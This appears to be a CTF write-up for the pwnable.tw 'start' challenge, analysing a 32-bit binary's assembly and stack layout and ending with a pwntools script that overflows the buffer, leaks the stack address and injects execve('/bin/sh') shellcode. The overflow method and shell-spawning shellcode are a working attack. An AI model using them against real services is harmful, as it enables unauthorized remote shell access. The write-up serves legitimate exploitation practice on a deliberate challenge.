1. Task:
2. Overview
Check file format:
I view asm code of this program by ida 32bit because I check that file, which has 32bit architecture.
We have 2 function: _start, _exit:
I will note down important something,which need to solve this challenge. But the original code is not like you see below. Oke let's start:
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h ; ':FTC'
push 20656874h ; ' eht'
push 20747261h ; ' tra'
push 74732073h ; 'ts s'
push 2774654Ch ; ''teL'
mov ecx, esp ; address
mov dl, 14h ; length
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch ; '<'
mov al, 3
int 80h ; LINUX - sys_read
add esp, 14h ; esp = esp + 20 byte
retn
_start endp ; sp-analysis failed
Checksec this file to find the direction to exploit.
3.Analysis
I can see that the arrangement of byte in this file is little endian, through 4 push in assembly code.
This text is: Let's start the CTF:
The stack look like below:
Stack |
---|
0x2774654C <--'esp' |
0x74732073 |
0x20747261 |
0x20656874 |
0x3A465443 |
offset_exit |
0x00 |
We have a function is sys_write(): I found it in this website
Value of those register sequence (eax, ebx, ecx, edx,...) is:
- eax = 0x04.
- ebx = unsigned int file descriptor ( stdin(0) , stdout(1) , stderr(2) ).
- ecx = on website I think it hard to understand what is it. I got it that it is a address.
- edx = the size of input or output.
Example:
- For sys_write:
mov ecx, esp ; address
mov dl, 14h ; length byte to write into monitor
mov bl, 1 ; fd = 1
mov al, 4
int 80h ; LINUX - sys_write
- Equivalent for sys_read:
xor ebx, ebx ; fd = 0
mov dl, 3Ch ; '<' ; length byte to read from input
mov al, 3 ; int 80h ; LINUX - sys_read
So after all, I think script of this program is Prompt user input 20 bytes, after it will read 60 bytes. I will exploit it by buffer overflow(because CANARY disable) and I can use ret2shellcode.
Debugging
First time:
- Input is: a
- Input is: aaaaa
You can see the character 'a' is inserted into the original string.
I have payload 1: "A" * 20 + p32(sys_write_address)
Before payload1:
offset | value |
---|---|
0 | "CTF:" |
4 | "the " |
8 | "art " |
12 | "s st" |
16 | "Let'" |
20 | "return address" |
24 | offset28 |
After payload1:
offset | value |
---|---|
0 | "AAAA" |
4 | "AAAA" |
8 | "AAAA" |
12 | "AAAA" |
16 | "AAAA" |
20 | \x87\x80\x04\x08 |
24 | offset28 |
After ret instruction called. The program will return sys_write 1 more time.
I have payload2 for this situation.
payload2 = "A" * 20 + (esp + 20) + shellcode
Before payload2:
offset | value |
---|---|
0 | offset4 |
4 | |
8 | |
12 | |
16 | |
20 | |
24 |
After payload2:
offset | value |
---|---|
0 | "AAAA" |
4 | "AAAA" |
8 | "AAAA" |
12 | "AAAA" |
16 | "AAAA" |
20 | "offset_24" |
24 | shellcode |
28 | shellcode |
Exploit
from pwn import * r = remote("chall.pwnable.tw", 10000)
context.arch = 'i386'
shellcode = b"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
#sendline to return sys_write
r.recvuntil(b"CTF:")
sys_write = 0x08048087
payload = b'a' * 20 + p32(sys_write)
r.send(payload) #sendline to send shellcode
esp_addr = u32(r.recv()[:4]) # leak esp = esp_addr
payload = b'a' * 20 + p32(esp_addr+20) + shellcode
r.send(payload) r.interactive()